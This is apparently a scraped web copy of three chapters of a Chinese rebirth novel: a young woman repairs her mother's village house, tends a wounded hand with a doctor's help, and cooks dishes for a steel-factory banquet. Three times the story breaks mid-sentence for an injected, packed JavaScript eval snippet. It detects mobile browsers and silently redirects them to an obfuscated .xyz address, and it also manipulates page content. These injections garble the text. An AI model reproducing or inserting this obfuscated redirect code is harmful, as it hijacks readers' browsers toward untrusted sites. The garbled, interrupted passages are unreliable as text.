都不用赵小霜解释，周翊凡也大概猜到了她们家现在的状况，他没有再追问，转头和李师傅说：“她家西边房梁那块儿得补一下，结构有些松动了，保温那个材料您之前说是不是有剩下挺多的？她家这个外墙能装吗？” 庄白川听到这话，抬头看了一眼周翊凡，之前没听说小霜有这样一位朋友，听他这话，好像已经来过小霜家里好多次了，赵小霜的妈妈和舅舅也明显对他非常熟悉，语气也更熟稔，男性的直觉让他对周翊凡有了一丝警惕。 赵小霜赶紧拿出自己上午画的“设计图纸”给他俩看：“李师傅，我还想把院子也稍微修整一下，您看这么着行吗？”周翊凡接过她的图纸，再次和李师傅沟通了起来，李师傅用笔在上边勾勾画画了一阵儿，大概制定了一个“装修计划”，连带着帮赵小霜把影壁上边的图案也画了出来。这顿饭终于在八个人的各怀心思里吃完了。 庄白川是公休时间过来的，吃完饭已经一点了，他着急赶回去上工，他把袋子里的东西拿出来：“小霜，这是我去川阳市买的雪花膏和糕点，还有一瓶麦乳精，你身体弱，多喝点这个补补身体。” 麦乳精在这个年代可是好东西，这一罐金山牌麦乳精在国营商店要最起码也要两块钱，还需要使用外汇券，每个月定量上市。而西顺县的国营商店连卖都没得卖，赵小霜上辈子也是在庄白川家里见过，自己是从来没喝过的。庄白川估计也是好不容易才买到的，赵小霜不想收这么贵重的东西，她正要推脱，庄白川却已经放下东西转身朝外边走去。 赵小霜还没来得及追出去，周翊凡就起身拦住了她，他把自己带的小袋子打开，取出来一个棕色的玻璃瓶，里边装着黑色的液体，还有一卷纱布和药膏。 “小霜同志，这是我爸从国外带回来的碘伏，这个消毒不会像碘酒一样刺激伤口疼，恢复起来也更快一些。” 赵小霜赶忙摇头：“不行不行，这太贵重了，我不能收，碘酒也没事，我能忍。”周翊凡却不容她拒绝，直接打开了瓶盖，自然而然地“牵”起了她的手：“今天还没换药吧，有没有碰水？” 周翊凡的举动把赵小霜吓了一大跳，她条件反射地甩开周翊凡的手，往后退了一步。虽然她上一世已经结过婚，但她和庄白川没有谈恋爱就结婚了，婚后也是平平淡淡的，没怎么感受过谈恋爱的感觉，更何况这一世她还是个没有谈过恋爱的白纸，哪里和不太熟的异性这样接触过？ 哦，除了上次周医生给她拔玻璃碎片……但那次是在医院……是正常的治疗……但这次也是要检查伤口……赵小霜被他这一出弄的面红耳赤，不知所措，整个脑子乱成了一锅粥，自然也就没注意到庄白川还在门口等着她。 林秀英把庄白川送出去，庄白川有些失落，他谢过林秀英：“林姨，不用送了，今天谢谢你们招待我，我……” 庄白川欲言又止，想了想还是没有说出口，他朝林秀英挥了挥手，转头骑上自行车回造纸厂去了。 18. 油滋啦野菜团子 周翊凡的耳朵也红了，似乎是没想到赵小霜的反应这么大，他也有些不知所措地后退了一步。 “对不起，我是想看一下你的伤口……没有别的意思。” 他不解释还好，这一解释赵小霜的脸直接像个熟透的虾子一样红了起来。天哪，她刚才到底在想什么，人家只是出于对患者的关心才和上药需求才碰到她的手，却被她下意识的举动整得变了味儿，赵小霜一张小脸涨得通红：“实在不好意思周医生，我没有那个意思，我就是被吓了一跳。” 周翊凡的耳朵也跟着通红了起来，他走上前轻轻慢慢地拆着原来的纱布，尽量不碰到赵小霜的手，搞得赵小霜更不好意思了。 “没事周医生，我知道您是医者仁心，咱们这都同志情，没关系的。” 纱布拆到最后一层时，凝固的血痂被纱布扯到，赵小霜小小地痛呼了一声，周翊凡拆得更加小心了，两个人光拆纱布就差不多拆了十分钟。等终于拆下了纱布，赵小霜血淋淋的伤口又暴露了出来，周翊凡照例用生理盐水给她冲洗了一遍，好在伤口基本上已经结痂了，也没有感染发炎，再对付几天应该很快就能好。 周翊凡用镊子夹着棉球，倒上碘伏药水，又抬眼看了一下赵小霜，好像是在征求她的同意。赵小霜刚冷静下来的脸又腾地一下烧了起来，她赶紧把手伸到周翊凡跟前，周翊凡轻轻地捏住赵小霜的手指，这次周翊凡没有像在医院里一样戴橡胶手套，赵小霜能感觉到他的手干燥又温暖，有些粗糙的指腹轻柔地按在赵小霜的皮肤上，另一只手用冰冷的碘伏棉球顺着伤口轻柔地消着毒，偶尔从掌心传来一丝刺痛，却又因为周医生温柔的手法被抚平了。这短短的几分钟，赵小霜感觉仿佛过了一个世纪。 消完毒以后，周翊凡拆了一卷新的纱布，涂了药膏给她缠上，又看着赵小霜把消炎药吃了，这才放赵小霜出去。 赵小霜感觉脸蛋和耳朵烫得能滴血了，她赶紧跑出院里想透透气，林建华正在帮师傅锯木板，看到赵小霜的脸露出了探究的目光。赵小霜一边欲盖弥彰地大声说“哎呀天气好热呀。”一边跑去灶台边坐下了，灶台这边离他们都远，赵小霜深呼吸了几次，终于冷静了下来。但午后的太阳也确实硬，没一会儿，赵小霜就感觉后背出汗了。 她突然想起来孙芷星给她的乌梅汤包还没喝，她起身从橱柜里拿了出来，打开纸包，里边除了乌梅，还放了一些陈皮丝、山楂片、甘草片和玫瑰，让赵小霜没想到的是，里边还加了一些荷叶，荷叶本身就能去热清暑，这样搭配出来的乌梅汤非常适合暑热的天气喝。 药材本身很干净，赵小霜用清水简单地洗了洗，找了个砂锅把药材泡进去，等泡一会儿后，再开火去煮制半个多小时，煮沸后加入几小块冰糖解去乌梅的酸味儿。最后吊到井里“冰镇”一会儿，就可以给大家分着喝了。 赵小霜一个人呆在灶台附近捅咕了半天，探头往院子里看，周翊凡正拿着锤子固定窗框，赵小霜属实没想到他连这个都会，一时也忘了刚才的尴尬，她端着两碗冰好的乌梅汤好奇地看着：“周医生，你连木工都会做啊。” 周翊凡轻轻“嗯”了一声，放下锤子，接过赵小霜手里的乌梅汤，仰头喝了起来。 “之前看李师傅做过，不过我也只会钉个钉子。” 李师傅也停下手里的活计，咕咚咕咚地喝起了乌梅汤，冰镇过后的乌梅汤喝起来更加利口，也少了刚煮出来的那种药味儿和乌梅的烟熏味儿，酸酸甜甜的，非常解渴。赵小霜在出锅之前还加了一些干桂花，喝两口就能闻到清甜的桂花香，在这个炎热的秋日午后，对于嘴巴鼻子来说，都是一种难得的享受。 赵小霜又给舅舅还有两个小徒弟都盛了酸梅汤，估摸着小孩爱吃甜，又给两个小徒弟的碗里分别加了一勺白糖。 有周翊凡、林建华和林建业的帮忙，家里的窗户框在天黑之前就做了出来。李师傅把玻璃一块一块放进预先留好的槽口里，放稳之后，拿出提前切割好的松木条放入槽口固定玻璃，有的松木条比较厚，李师傅又拿木刨把它削薄一点，反复尝试，直到松木条正正好好把玻璃卡住，既不过紧，也不松动，玻璃就算安好了。剩下的缝隙处再用和好的腻子密封一下，木板用清漆刷一下防腐，晾干以后就非常牢固了。 李师傅也不磨洋工，吃了赵小霜的午饭，他只想尽可能快些帮她把家里修整好，两个徒弟今天也格外认真，很快就把原来糊的窗户清理干净，安上了合页。玻璃窗户还得再晾一会儿才能安装，李师傅也没有休息，他准备趁天黑之前把房梁那块修好，今天也带了腻子，可以给家里刮一下墙面，赵小霜要的砖头路和外保温今天没有材料，只能过两天把东西买来才能再动工。 赵小霜下午也没闲着，煮完酸梅汤以后，她先是去了一趟田里，征求大队的同意，捡了一些散落的麦秸秆。 农村里秋收后的麦秸秆一般要碾碎了喂牲口，还有一部分用来修缮公共的房屋，剩下的才会按人口分配给各家各户，用来烧火做饭或者编织草席，不经过同意是不能擅自拿取的。赵小霜自己捡的这些远远不够编草席用，她捡来主要是为了喂兔子，今天早上喂了兔子一点菜帮子，兔子们明显没吃饱，但菜叶人自己也要吃，不可能全喂给它们，所以赵小霜就想捡一点麦秸秆切碎了给兔子吃，之前听隔壁阿婆说，兔子不怎么需要喝水，吃干的麦秸秆和野草对兔子肠胃好，长期吃水多的蔬菜反而可能让兔子窜稀。 麦秸秆捡了一些以后，赵小霜又折回去拿了个背篓，她想看看山里还能不能再采摘点东西，不过就如她所预料的那样，农忙马上要结束了，已经陆陆续续有人上山捡柴火、采摘野菜了。赵小霜跟着相熟的几个村民走了几圈，捡了一些木头柴火和板栗。 野菜基本上是完全没有了，但赵小霜找到了苜蓿草，这些苜蓿已经长大了，根茎很老，人不吃，用来喂兔子倒是合适，她一路边走边薅，倒也让她挖到了一些野荠菜和野葱。 等到家了，赵小霜把麦秸秆切碎，又把苜蓿清理干净放院子里晾晒着。林秀英怕这两天家里修整乱兔子跑了，昨天晚上已经把兔子关进了西厢房里。赵小霜进去找了半天也没找到兔子，最后终于在犄角旮旯里翻到了它们，两个兔子一灰一白，挤在一起动也不动，看到赵小霜，更是吓得要往墙角钻。赵小霜只好把麦秸秆放在旁边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883669|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，自己出去了。 中午的菜和面都已经吃得干干净净，只剩下了几个窝窝头，等工人们安装完窗户，也就要吃晚饭了。赵小霜琢磨了一下，晚上除了做白菜炖豆腐，她准备再用野葱炒个鸡蛋，用荠菜做一笼野菜团子。 赵小霜切了一块肥油非常多的猪肉，切成薄薄的小块，用炼猪油的方式把油煸出来，这期间的猪肉就变成了干瘪的猪油渣，有的地方也叫“油滋啦”。赵小霜等到猪肉金黄了就立刻捞出，因为这块肉本身带着瘦肉，如果把肥油全部榨干再捞出来，瘦肉的部分就会特别干硬。而刚刚炸到金黄的猪油渣肥肉晶莹油润，瘦肉也香而不柴，用来做猪油渣荠菜粗粮团子正好。 赵小霜挖了几大勺玉米面，拿开水烫过以后用筷子搅匀，等不那么烫了，再加入一些白面和匀。她上次还在黑市买了几袋酵母粉，此时正好用上。酵母粉装在很简易的塑封袋里，上边什么图案都没有，只印了几个大字“燕东市酵母厂”，打开倒进碗里，是黄棕色的颗粒，赵小霜用凉开水把酵母粉搅开，再倒进面盆里揉成团，盖上笼屉布发酵。 林秀英吃完饭又去大队翻了一下午麦子，这个时候也从外边回来了，她的脸明显比在西顺县时候晒黑了不少，却比之前要更加有气色，眼神中蕴含着生机和希望，少了一些畏畏缩缩的样子。 “妈！你回来啦，快来喝口酸梅汤！” 赵小霜给林秀英倒了一碗冰凉的乌梅汤，看着林秀英晒得红彤彤的脸蛋，咕咚咕咚地喝着，额头的汗水顺着耳朵流到脖梗子里，心里生出了一种“林秀英才是女儿”的感觉。 林秀英喝完以后就赶忙去收拾洗菜，不让赵小霜碰水，她把赵小霜要用的胡萝卜、香菇、荠菜、野葱都放进大盆里开始清洗，野葱洗起来非常费劲，要先仔细把野草挑出去，再把根掐掉，但林秀英干活仔细又麻利，不一会儿也都洗好切好了。 面团还得醒发一个小时，赵小霜准备先调个馅料，她把荠菜和胡萝卜丝儿焯水控干水分再切碎，加上一些新鲜的香菇碎，再把猪油渣也切碎一些加进去。猪油渣放凉以后外表已经非常酥脆，菜刀切上去发出咔嚓咔嚓的响声，十分动听悦耳。最后给盆里加上胡椒粉、盐和一些猪油搅拌均匀，野菜团子的馅料就算准备好了。 赵小霜又把中午留下的半罐子高汤倒进砂锅里，煮开以后加上香菇片，菌菇的香味儿煮出来以后，把焯过水的白菜、提前泡好的红薯粉条和新鲜的嫩白豆腐放进去小火炖，让粉条和豆腐充分吸收高汤的肉香和香菇的菌香。 这个时候面团也差不多醒发好了，赵小霜给它揉捏排气，再分成差不多大的面剂子，用手掌捏着把馅料填进去，再慢慢转圈着收口，不多时，一个一个圆滚滚、胖嘟嘟、黄澄澄的团子就摆放在了面板上。再次醒发了一会儿，赵小霜就把团子都放进起气儿的蒸屉里，等蒸熟了就可以吃了。 林秀英打了几个鸡蛋，搅散搅匀以后把野葱段倒进去，再加一些冷水，这样炒出来的鸡蛋会更嫩更滑，炒锅里的猪油还有一些，加热以后把鸡蛋液滑进去，定型了再翻炒开，拌着野葱的清香和浓郁的油香，野葱炒鸡蛋和高汤白菜炖豆腐都出锅了。 19. 蝴蝶牌缝纫机 这边林秀英和赵小霜做好了晚饭，那边李师傅已经和周翊凡一块把屋子里边刮了大白，屋里本身墙面没有那么平整，李师傅用石灰膏仔细地把墙面补平了才上的腻子，现在屋里看着比之前亮堂不少，而且平整细腻的墙面让整个屋子看着比之前大了很多。虽不至于有翻天覆地的变化，却也完全改变了“精神面貌”。 李师傅和林家两兄弟身上已经粘满了白色的腻子，周翊凡虽然只负责了一块墙面，但头发上和裤子上也粘了不少白色，甚至脸上也挂了一道。赵小霜基本上每次见周翊凡都是在医院，从来都是穿着干净的白大褂，偶尔带着口罩，只露出一双灰褐色的眼睛，身上散发着淡淡的消毒水味儿，一副冰冰冷冷生人勿近的样子。可从来没见他这样“邋遢”过，赵小霜端着菜过来喊他们吃饭，看到几个人这样子，忍不住笑出了声。 屋子里还得晾一晾通个风，林秀英和赵小霜直接把桌子挪到了院子里，给桌子上点了煤油灯，又去拿碗筷。下午做窗户刮大白的几个人去院子里洗了洗手，又大概抹了把脸，洗去了脸上的尘土和腻子膏，李师傅想把窗户安装完再吃饭，被林建华直接按在了饭桌前。 “吃完再安，吃完再安，天都黑了，人都饿晕了。” 中午吃完饭他们就没有休息，紧赶慢赶地装好了玻璃窗，又修补了墙体和墙面，还刮了大白，虽然现在已经快八点了，但一下午能做这么多事情也是李师傅没想到的，到底人多力量大，还有周翊凡这个手巧心细的在这儿帮忙，效率真是高了不止一点。 两个小徒弟今天跟着忙上忙下，又是和腻子又是打磨木板的，现在两个人也灰头土脸的了，林秀英把白菜炖豆腐的砂锅端上桌，又招呼两个小徒弟洗手吃饭，但他俩还在处理一些边边角角的腻子，那认真劲儿上来了，对大家叫他们吃饭的声音是充耳不闻。 这个时候菜团子也蒸好了，赵小霜找了个大一点的盘子，把菜团子摞着码上去，她这一次蒸了两层，一共有二十来个，她做的团子个头大，一般吃两个就顶管饱了，剩下的还能给工人们带两个回去吃。 赵小霜照例捞了一些糖醋萝卜丁给大家吃，萝卜丁腌了两天，正是最入味最好吃的时候，比带到厂里的那一批更酸爽可口，赵小霜准备给周翊凡和李师傅都带一些回去，以感谢他们今天的劳动。两个小徒弟也终于收拾完了东西，出来洗手洗脸，忙碌了一整天的大家终于陆陆续续坐下来吃晚饭了。 油滋啦荠菜团子刚刚出锅，还腾腾地冒着热气儿，因为加了白面又发酵过，团子的表面金黄光滑，按下去很快又能回弹。咬上一大口，面团厚实蓬松，馅料丰富多汁，荠菜的脆嫩清爽配上猪油渣的酥脆焦香，其中还夹杂着软糯的香菇丁和吸饱了肉汁的胡萝卜碎。 几个人也顾不得刚出锅的烫手了，直接大口大口地吃了起来，刚开始的几口甚至顾不得好好咀嚼，但肉香下肚，唇齿间又留下了一丝野菜的回甘，让人忍不住细细品味。再就上一筷子野葱鸡蛋，鸡蛋的蓬松焦香也很好地融合进这场味蕾的盛宴，让人欲罢不能。 没想到这野菜团子颜色看着好看，吃起来也如此美味，林建华啊呜啊呜地连吃两个，这才感觉肚子撑了起来，他摸了摸肚子，还想再吃一个，却怎么都吃不下了，只好盛了一碗奶白的白菜炖豆腐汤顺着“溜溜缝儿”。 白菜和粉条都被煮成了半透明的状态，已经非常软烂入味儿，赵小霜晚上的高汤没有额外调味儿，味道相对中午的面条要淡许多，但却更凸显出了鸡肉的油香，喝一口浓郁的白汤，夹一筷子颤颤巍巍的白豆腐，再嗦一口粉条，浓郁的口感中带着清香和菌香，不用怎么咀嚼，软嫩滑溜的豆腐顺着舌头就滑进了胃里，让胃立刻感觉到热乎乎的熨帖。 林家两兄弟平时下田干的活儿重，李师傅又是常年干这个的，所以对于他们仨来说下午的活儿并不算特别累。 赵小霜寻思周翊凡平时主要在医院，应该很少连着干这么长时间的体力活儿，估计都累坏了，结果饭桌上仔细一看，周翊凡的脸上反倒没有一丝疲色，整个人除了衣服脏脏的，还是精神焕发，神采奕奕的。此时正慢条斯理地吃着野葱鸡蛋，感觉到赵小霜的目光，他也看向了赵小霜，平时冰冷的眼睛此时也因为饭菜的腾腾热气显得有些温柔，让赵小霜又回忆起下午周翊凡指腹的温度。赵小霜赶紧别过眼去，顺手给他拿了一个野菜团子：“快吃快吃。” 除了不好意思，赵小霜现在对他更多地是敬佩，这人又是医生会给人看病，又会做木工，做饭也利索。整个人看着高高瘦瘦的，力气却不小，一下午这么多的活儿干完一点看不出累来，她要是有这精力，早就把后山的药材全翻出来卖了。 赵小霜又看了看自己的小胳膊小腿儿，她现在还是太矮太瘦了，虽然这个月长了一些脂肪，脸蛋看着圆润了不少，但肌肉还是差很多的。她暗自比较着，又多吃了几筷子鸡蛋和豆腐，她也要长高，拥有健壮的身体，才能不再惧怕赵令强的暴力，背得动更多的药材，做得了更多的酱菜！ 吃完饭，窗户的漆和填缝的腻子都干得差不多了，李师傅让小徒弟打着手电筒，把窗户用合页一个一个安好，检查固定以后，就带着两个小徒弟回西顺县了。 周翊凡则帮着把碗筷桌子都收拾干净，又把碘伏药瓶、消毒棉球和纱布交给林秀英，告诉她大概的消毒办法以后，才在夜色中骑着车走了。 第二天早上，林家小院难得的安静，村里的公鸡都打了三回鸣了，林建业和林秀英才披着衣服起身去热饭，昨天晚上大家都忙到半夜，加上一整天的劳动，赵小霜和林建华昏睡得醒都醒不来。 早晨的阳光透过大片大片的玻璃窗户照进屋里，整个房间又干净又亮堂，赵小霜终于被阳光晒醒了，昨天睡前她才洗了头，早上头发已经变得乱蓬蓬的了，她顶着像鸡窝一样的头发，坐在炕上感受着洒进来的晨光，温暖又舒适，玻璃在阳光的照射下显得亮晶晶的。 之前家里的窗户都是用纸糊的，每到冬天或者快过年的时候才会更换一次新的，这个时候的窗户纸一般都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883670|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 米黄的，质地也比较粗糙。林家庄冬天比较冷，一般需要糊两三层才可以。平时偶尔有破了的地方，就会用报纸将就补上，赵小霜刚到这里的时候，家里的窗户纸已经斑斑驳驳的了，虽然林家两兄弟把家里打扫地很干净，但阳光和空气都没办法通过厚厚的窗户纸进入到屋里，不管怎么收拾，家里都是昏暗憋闷的。 这下玻璃窗户安好了，不光屋里亮堂，天气好的时候，开窗通风也非常方便，窗户是朝外开的，即不会占用室内空间，又可以在一定程度上阻挡雨水。冬天只要把窗户关严实，阻挡风寒的能力也会比窗户纸要高很多。从屋里能看到大舅和妈妈在院子里收菜和做饭，她的心里像喝了白糖水一样甜滋滋的。 赵小霜今天也不准备出门了，昨天做八个人的饭菜让她有些疲惫，尤其她的手又受伤了，很多事情只能单手操作，这一整天下来她也累的不行。 而且家里换了玻璃窗户，首先得做两个挂帘，晚上睡觉的时候挡上。今天也正好在家挑拣一下昨天买的棉花里的杂质，今天阳光也非常好，她准备把旧被褥拿出来挂院里晒一晒。听林秀英说，一般这几天就会有弹棉花的匠人挑着扁担走街串巷地吆喝了。等弹完棉花，她就可以和林秀英一块缝制新的被褥了。 至于棉衣棉裤，赵小霜是完全不会做的，只能依靠林秀英了，但家里没有缝纫机，四个人的棉衣棉裤全靠林秀英手缝也不太现实。 赵小霜知道林秀英一直想要一个缝纫机，林秀英和赵令强结婚的时候比较早，那个时候没有缝纫机自行车手表三大件的说法。后来钢铁厂家属院里有年轻人结婚，配了飞鸽自行车和蝴蝶牌缝纫机，院里的小孩都闹着要推自行车，大人们也都摸着崭新的自行车啧啧称奇。只有林秀英默默地看着缝纫机，趁大家不注意，偷偷摸了一下。 晚上吃饭的时候，林秀英难得展露出兴奋的一面，侃侃而谈如何踩踏缝纫机的踏板，怎么穿针引线不会漏针，如果自己也有一台缝纫机可以做些什么衣服。虽然没说多久就被醉酒的赵令强打断了，但隔了这么久，赵小霜仍然很清楚地记得那天林秀英的快乐和期待。 上一世，赵令强没有给秀英买缝纫机，她也没能帮妈妈实现这个愿望，这一次她不管想什么办法都一定要给林秀英整一台回来。 林秀英的手艺非常非常好，赵小霜的衣服都是林秀英亲手缝制的，读小学的时候，班里别的小孩的衣服基本都是直筒型的，要不特别大，要不针脚粗糙。但赵小霜的衣服从来都是合身的，虽然也是用旧衣服改造而来，但林秀英缝制的外套针脚细密，版型挺拔，穿在赵小霜身上显得合身又精干。因此也经常有不少人找林秀英缝补衣服，赵小霜的学费很大一部分就是林秀英靠接这种活儿挣来的。 再过一两年，喇叭裤、彩色毛衣、泡泡袖的连衣裙都会风靡一时，尤其在城市里，大街小巷几乎人人都穿。但毕竟不是所有人都买得起国营商店的成衣，赵小霜想抓住这个机会，想办法推广林秀英的手艺，让妈妈也能靠自己的手艺挣到钱。 20. 麻酱大拉皮 赵小霜又磨蹭了一会儿，终于在林秀英的催促下起床了。昨天庄白川送她的雪花膏没有还回去，赵小霜不想用，但是东西直接丢掉又很可惜，只能先放在柜子里，等有合适机会的时候再还给他了。 林秀英一进门看到赵小霜这颗鸡窝头，忍不住又要唠叨：“你自己梳一梳头发呀，这乱得像什么样子。” 嘴上这样说着，手上就已经拿起来梳子帮她编麻花辫了，赵小霜的头发已经不像刚回来那阵干枯毛燥，颜色明显深了许多，还泛着一点光泽。镜子里的赵小霜脸蛋也圆了起来，长出来一点“婴儿肥”，皮肤也不像之前那般干涩发黄了，脸上的疤已经愈合了，还剩下一半的血痂，伤口的颜色也明显淡了下去。 赵小霜昨天猛猛吃了两顿饭，晚上又睡得很香，这一觉起来，脸蛋子明显能看出来透着血色，整个人白白嫩嫩，一双大眼睛眨巴眨巴的，让林秀英看着心都软了，赵小霜虽然马上就十八岁了，在林秀英眼里，却永远是个没长大的小孩子。 林秀英给手里抹了点桂花油，先把她的头发顺了一遍，等梳通了，才分成两半，分别编成三股的麻花辫。 赵小霜像小时候一样拉着她的胳膊摇了摇：“妈，我想要个头绳，做完窗帘衣服，剩的布你给我缝一个呗。” 林秀英摸摸她的脑袋：“行，你要想要别的颜色的，妈还能用植物给你染色，红色黄色蓝色都能染。” 吃过早饭，赵小霜又琢磨了一会儿席面的菜谱，初步定好了四个凉菜做红油凉拌猪耳朵，麻酱大拉皮，呛拌豆芽，小葱拌豆腐。六个热菜做干烧鱼，辣椒炒肉片，毛血旺，糖醋萝卜丸子，猪油炒青菜，高汤砂锅豆腐白菜。这样搭配有辣有咸，有甜口的，也有清淡口的，干湿结合，荤素搭配，吃起来口感口味都不会重复。 主食就做油滋啦荠菜团子，再上一份食堂自己的杂粮米饭，这一桌子就非常丰盛管饱了。 这菜谱里辣椒炒肉片需要用到猪肉，荠菜团子需要用到猪油渣，而炼出来的猪油正好炒青菜。猪耳朵本身价格不贵，毛血旺主要用的也是猪肚和鸭血之类的下水，主要调料比较重。剩下的菜都是素菜，只是需要赵小霜多花一些心思去创新，这成本一下子就压下来了。 赵小霜上一世去深市呆过一段时间培训，知道一般席面上还会有个饭后的小点心，令她印象深刻的是一个双皮酸奶酪，简单配上一些蜂蜜，奶香十足，冰凉滑嫩，非常好吃。但现在牛奶都是很珍贵的东西，不太好搞来。板栗糕吧又比较甜腻，吃起来也是偏干的，凉菜主菜口味都比较重了，不太适合再吃板栗糕。所以她一时半会也没想好做什么合适，就先扔到脑后了。 定好食谱以后，今天赵小霜准备试一下做大拉皮和毛血旺，这两个菜她没有亲手做过，多少还是有点拿不稳。不过家里没有这两样的食材，所以还是得出门了，赵小霜把缝窗帘的艰巨任务托付给了她妈，又做了一些红油猪耳朵，就背着背篓出门了。 她先去了钢铁厂，想把自己写好的菜单交给安厂长，不合适的话还有时间来沟通调整。到了原来的办公室，被告知安厂长这个点在生产车间，赵小霜又一路走一路问，终于在轧钢车间找到了安静丽。轧钢车间的噪音非常大，赵小霜和安静丽连喊带比划地“沟通”了一会儿，才终于反应过来安静丽让她去办公室等她。赵小霜只好又背着背篓往办公楼走。 然而路过炼钢车间的时候，却看到了一个眼熟的身影一闪而过，王雪兰？！赵小霜知道赵令强在炼钢车间上工，王雪兰居然都已经敢到厂里来找他了，赵小霜捏紧了拳头，这对狗男女简直是胆大包天，她想跟进去看看情况，又怕碰上赵令强坏了她这次的生意，只好暗自忍下。 但赵小霜心里已经有了一个大概的计划，王雪兰光明正大地出入钢铁厂，肯定有不少人都看到过他俩在一块。她准备这几天趁着做饭先想办法和厂里的一些人混熟，打听一下消息，过段时间直接向厂里写匿名信举报，把这件事揭发出来，逼迫赵令强和林秀英离婚。 回到办公室没坐一会儿，安厂长就回来了，她给赵小霜倒了一杯茶水，拿起赵小霜写的菜单研究了起来，赵小霜还在每个菜名的旁边标注了冷热、甜咸，还写明了所需的原材料，以及需要用到的调味料等等。 安厂长十分满意，她能感觉出来眼前这个小姑娘是个有头脑的聪明人，不过之前的招待席上一般都会有红烧肉或者酱油炖肉，赵小霜这次的菜品几乎都很新颖，搭配起来倒是不错，但安厂长考虑到招待的正式性和大众的普适性，让赵小霜把辣椒炒肉换成了红烧肉炖土豆，这样不会变动太多，又能考虑到大家普遍的口味。 赵小霜和安厂长讨论确定完菜单以后，安厂长开口道：“一会儿也快中午了，我带你去食堂，你看看现在有什么现成的食材，先做几个让同志们品评一下。” 没等赵小霜说话，她又说：“毕竟我也只吃过你做的小菜和凉拌猪耳朵，我还得再考查一下你做热菜的水平，而且这事儿也不是我一个人说了算。” 赵小霜连忙点头：“理解理解。” 安厂长一路带着赵小霜去到食堂的后厨，这里空间很大，灶台也是煤气灶的，火力很足，非常适合爆炒菜。后厨的几个师傅正忙忙碌碌的，看到安厂长进来也就简单打了个招呼，继续忙手头的事情了。 安厂长把赵小霜领到一个带着厨师帽的胖墩墩的师傅跟前，简单介绍了一下：“小霜同志，这是张宝恩师傅。张师傅，小霜同志会负责月底的领导招待，今天过来试一下，你多帮衬一下啊。” 张师傅淡淡地点了点头，递给赵小霜一个围裙和帽子，赵小霜把两条麻花辫朝后盘起来，塞进帽子里，防止做饭的时候头发掉落，又系上围裙，袖子一撸，看起来还真像那么回事儿！ 后厨已经有很多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883671|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处理好的菜了，而且还有两条新鲜的大鲤鱼，大鲤鱼是张师傅的儿子刚去水库钓的，本来准备晚上带回去一家人吃。张师傅看她对这个鲤鱼感兴趣，问她要不要帮忙处理。赵小霜赶紧点点头，她自己的手受伤了，实在没办法处理，张师傅愿意帮忙真的再好不过了。 赵小霜大概看了一下，距离开饭还有一个小时，时间比较紧张，她准备用已有的食材做麻酱大拉皮、呛拌豆芽、糖醋萝卜丸子和干烧鱼。 麻酱大拉皮的“拉皮”其实就是红薯粉皮，赵小霜找了一个大盆，把红薯淀粉过筛以后用凉水拌开，再加上盐水搅拌，这样做出来的拉皮会比较有韧性，不容易断。接着她又去旁边借了一个盛菜的不锈钢方盘，舀一勺粉浆倒进去，晃动均匀，再放进沸水大锅里蒸一会儿，蒸到透明起泡以后就可以放进冷水里脱模了。 虽然有些麻烦费事，但其实一张一张做起来非常快，原材料也只需要红薯淀粉，不到半个小时，赵小霜就已经做了一大盆粉皮了。 赵小霜用芝麻酱、花生酱、蒜末、生抽、陈醋、白糖调了一个酱汁，把粉皮摞起来切成宽条，码上黄瓜丝，焯过水的木耳丝、胡萝卜丝，再加上一些香菜碎和白芝麻，倒上浓香的芝麻酱料汁，搅拌均匀以后就可以直接吃了。 萝卜丸子除了用到萝卜丝，还需要加一些猪肉泥和面粉，辅以葱姜沫和豆腐沫，这样炸出来的萝卜丸子才能金黄酥脆，而萝卜丝的辛辣在炸制以后也变得更加柔和，反而有一种独特的清香。 炸好丸子以后，再用西红柿熬制一个糖醋汁，把西红柿熬出沙以后，加上大量的白糖和香醋熬到冒泡，再把炸好的丸子倒进去均匀裹上酱汁，糖醋汁的味道比较浓郁，但萝卜和豆腐的清香味儿正好与之调和，吃起来酸甜可口，清爽下饭。 赵小霜一个人忙活了一个多小时，食堂已经开饭有一会儿了，她才终于把四个菜都做出来摆好盘，麻酱大拉皮是做的最多的，从大盆里拿出来装盘以后直接装了八盘。呛拌豆芽也比较好做，一共做出了六盘。干烧鱼的食材不多，只做出来两条，糖醋萝卜丸子因为炸制比较费时所以赵小霜也只做了三盘出来。好在早上她还做了红油猪耳朵，本来是准备拿出去卖的，但今天做的肉菜太少了，眼下为了得到这次机会，赵小霜也找了几个盘子把猪耳朵都摆了进去。 安厂长从外边进来，她帮赵小霜把菜都端到食堂打饭的窗口，站在大厅的前边拍了拍手，高声说道：“各位同志，今天食堂新做了一些菜品，欢迎大家来品尝，数量有限，先到先得。” 